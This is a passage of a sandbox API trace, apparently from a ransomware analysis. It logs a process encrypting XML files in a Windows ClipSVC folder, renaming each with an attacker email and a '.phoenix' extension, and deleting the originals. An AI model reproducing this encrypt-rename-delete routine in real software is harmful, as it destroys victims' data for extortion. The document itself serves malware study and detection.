	[0246.830] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xad0, lpOverlapped=0x0) returned 1
	[0246.831] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0246.832] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0246.832] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0246.832] CryptDestroyKey (hKey=0x151740) returned 1
	[0246.832] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0246.832] CryptDestroyKey (hKey=0x151600) returned 1
	[0246.832] CloseHandle (hObject=0x2f0) returned 1
	[0246.832] CloseHandle (hObject=0x2b4) returned 1
	[0246.832] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml")) returned 1
	[0246.833] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0246.833] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\babc0ea4-dabb-04f7-1017-a11af9b29344.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\babc0ea4-dabb-04f7-1017-a11af9b29344.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0246.833] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2641) returned 1
	[0246.833] CloseHandle (hObject=0x2b4) returned 1
	[0246.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\babc0ea4-dabb-04f7-1017-a11af9b29344.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\babc0ea4-dabb-04f7-1017-a11af9b29344.xml")) returned 0x20
	[0246.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\babc0ea4-dabb-04f7-1017-a11af9b29344.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\babc0ea4-dabb-04f7-1017-a11af9b29344.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.833] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\babc0ea4-dabb-04f7-1017-a11af9b29344.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\babc0ea4-dabb-04f7-1017-a11af9b29344.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0246.834] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0246.834] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0246.834] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\babc0ea4-dabb-04f7-1017-a11af9b29344.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\babc0ea4-dabb-04f7-1017-a11af9b29344.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0246.834] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0246.834] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0246.834] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa51, lpOverlapped=0x0) returned 1
	[0246.932] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa60, dwBufLen=0xa60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa60) returned 1
	[0246.932] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa60, lpOverlapped=0x0) returned 1
	[0246.934] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151280) returned 1
	[0246.934] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0246.934] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0246.934] CryptDestroyKey (hKey=0x151280) returned 1
	[0246.934] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0246.934] CryptDestroyKey (hKey=0x151500) returned 1
	[0246.934] CloseHandle (hObject=0x2b4) returned 1
	[0246.934] CloseHandle (hObject=0x2f0) returned 1
	[0246.934] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\babc0ea4-dabb-04f7-1017-a11af9b29344.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\babc0ea4-dabb-04f7-1017-a11af9b29344.xml")) returned 1
	[0246.935] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0246.935] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0246.935] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2658) returned 1
	[0246.935] CloseHandle (hObject=0x2f0) returned 1
	[0246.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml")) returned 0x20
	[0246.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.936] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0246.936] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0246.936] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0246.936] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0246.936] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0246.936] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0246.936] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa62, lpOverlapped=0x0) returned 1
	[0246.965] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa70, dwBufLen=0xa70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa70) returned 1
	[0246.965] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa70, lpOverlapped=0x0) returned 1
	[0246.966] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151240) returned 1
	[0246.966] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0246.966] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0246.966] CryptDestroyKey (hKey=0x151240) returned 1
	[0246.966] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0246.966] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0246.966] CloseHandle (hObject=0x2f0) returned 1
	[0246.966] CloseHandle (hObject=0x2b4) returned 1
	[0246.966] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bcda97bb-bfd0-2a72-3c90-c8518f3d09ee.xml")) returned 1
	[0247.019] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.019] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.020] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2667) returned 1
	[0247.020] CloseHandle (hObject=0x2f0) returned 1
	[0247.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml")) returned 0x20
	[0247.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.020] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.020] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.021] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.021] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.022] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0247.022] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.022] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa6b, lpOverlapped=0x0) returned 1
	[0247.038] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa70, dwBufLen=0xa70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa70) returned 1
	[0247.038] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa70, lpOverlapped=0x0) returned 1
	[0247.039] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151280) returned 1
	[0247.039] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.039] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0247.039] CryptDestroyKey (hKey=0x151280) returned 1
	[0247.039] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0247.039] CryptDestroyKey (hKey=0x151500) returned 1
	[0247.039] CloseHandle (hObject=0x2f0) returned 1
	[0247.039] CloseHandle (hObject=0x2c8) returned 1
	[0247.039] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb.xml")) returned 1
	[0247.040] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.040] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.041] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3217) returned 1
	[0247.041] CloseHandle (hObject=0x2c8) returned 1
	[0247.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml")) returned 0x20
	[0247.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.041] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.041] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.041] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.041] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.042] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151140) returned 1
	[0247.042] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.042] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc91, lpOverlapped=0x0) returned 1
	[0247.049] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xca0, dwBufLen=0xca0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xca0) returned 1
	[0247.049] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xca0, lpOverlapped=0x0) returned 1
	[0247.050] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0247.050] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.050] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0247.050] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.050] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0247.050] CryptDestroyKey (hKey=0x151140) returned 1
	[0247.050] CloseHandle (hObject=0x2c8) returned 1
	[0247.050] CloseHandle (hObject=0x2f0) returned 1
	[0247.051] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\c94a6c18-d496-da1c-8a02-fc6976e0145e.xml")) returned 1
	[0247.051] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.051] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.052] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3229) returned 1
	[0247.052] CloseHandle (hObject=0x2f0) returned 1
	[0247.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml")) returned 0x20
	[0247.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.052] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.052] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.052] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.052] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.053] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1514c0) returned 1
	[0247.053] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
